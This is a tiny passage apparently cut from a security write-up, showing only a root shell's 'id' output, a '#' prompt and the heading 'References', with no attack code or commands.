uid=0(root) gid=0(root) groups=0(root)
# 

References